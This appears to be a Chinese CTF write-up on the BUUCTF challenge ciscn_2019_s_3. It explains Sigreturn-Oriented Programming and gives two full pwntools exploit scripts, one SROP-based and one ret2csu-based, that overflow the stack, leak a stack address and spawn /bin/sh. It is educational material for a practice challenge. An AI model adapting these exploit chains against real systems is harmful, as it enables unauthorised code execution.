PWN> [CISCN2019]ciscn_2019_s_3 [BUUCTF]

发布于 2023-05-14  10 次阅读


刚囫囵吞完 how2heap 想找些国赛题实操一下顺便准备下国赛,结果不小心点错题了(恼)
Anyway,能学到新东西就行

SROP

详细可以参考下面两篇文章,也可以去看发现者的 paper

简单来说,Linux 下的进程有一套信号处理机制:当处于 User Level 的进程接收到 signal 之后会触发软中断陷入到 kernel 中保存上下文(寄存器 + 栈)到一个叫做 sigFrame 的结构体中,然后回到 User Mode 执行 Signal Handler,等执行完毕后再次触发软中断执行 sigreturn 系统调用在 kernel 中恢复上下文并重新继续执行

然而 sigFrame 是保存在 User Level 中的,也就是说一旦条件满足我们可以无需提权就能随意篡改它
进一步而言,由于 sigFrame 中保存了 rip 这样重要的指令寄存器,所以我们可以通过篡改 / 伪造 / 串联 sigFrame 来控制执行流,这就是 SROP

要想利用 SROP 往往需要大量的溢出空间,估计实际场景中很难能遇到可以满足的条件

题目

静态分析

除了 NX 啥保护都没开,不放图了

vuln()

buf= byte ptr -10h

push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h       ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h ; '0'  ; count
lea     rsi, [rsp+buf]  ; buf
mov     rdi, rax        ; fd
syscall                 ; LINUX - sys_write
retn

read、write 两个系统调用,可溢出的空间也给得很慷慨,write 也毫不犹豫地泄露足了

gadget()

push    rbp
mov     rbp, rsp
mov     rax, 15         ; syscall: sigreturn
retn

mov     rax, 59         ; syscll: execve
retn

又是两个系统调用,sigreturn 就是进程恢复上下文所使用的系统调用

题目没给其他东西了
第一时间想到的是 ret2shellcode(开了 NX,不行),然后就是 ret2csu(已经有 syscall 了,利用 csu 改改寄存器就有了),然后是新学的 SROP(都明示 sigreturn 了)

动态分析

也没啥好分析的,最主要就是看 write 泄露出的内容和栈地址之间的联系和栈地址与/bin/sh之间的偏移

比较坑的是自己 gdb 调的和 exploit 里泄露的栈结构居然不一样,就挺烦人的

exp1

pwntools 中有对 SROP 的支持,具体看代码

from pwn import *
# python2
context.arch = "amd64"
context.log_level = "debug"

io = process('./ciscn_s_3')
# io = remote('node4.buuoj.cn',27680)

vuln = 0x4004ed
syscall = 0x400517
sigretn = 0x4004da

payload = '/bin/sh\x00' * 2 + p64(vuln)
io.send(payload)
io.recv(0x20)
binsh=u64(io.recv(8)) - 0x148   # 0x118 for Ubuntu18(server env)
print(hex(binsh))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0 
frame.rip = syscall

payload = '/bin/sh\x00'*2 + p64(sigretn) + p64(syscall) + str(frame)
io.send(payload)

io.interactive()

exp2

ret2csu 版本
巧妙之处在于在 pop 到 r12 时恰好指向 payload 写进栈内的 execve 地址binsh + 0x50

from pwn import *
# python2

io = process('./ciscn_s_3')

main = 0x4004ed
execve = 0x4004e2
pop_rdi = 0x4005a3
csu = 0x40059a
mov_rdx_r13_call = 0x400580 
syscall = 0x400517

payload = '/bin/sh\x00' * 2 + p64(main)
io.send(payload)
io.recv(0x20)
binsh = u64(io.recv(8)) - 0x148
print(hex(binsh))

payload = '/bin/sh\x00' * 2 + p64(csu) + p64(0) * 2 + p64(binsh + 0x50) + p64(0) * 3
payload += p64(mov_rdx_r13_call) + p64(execve)
payload += p64(pop_rdi) + p64(binsh) + p64(syscall)
io.send(payload)

io.interactive()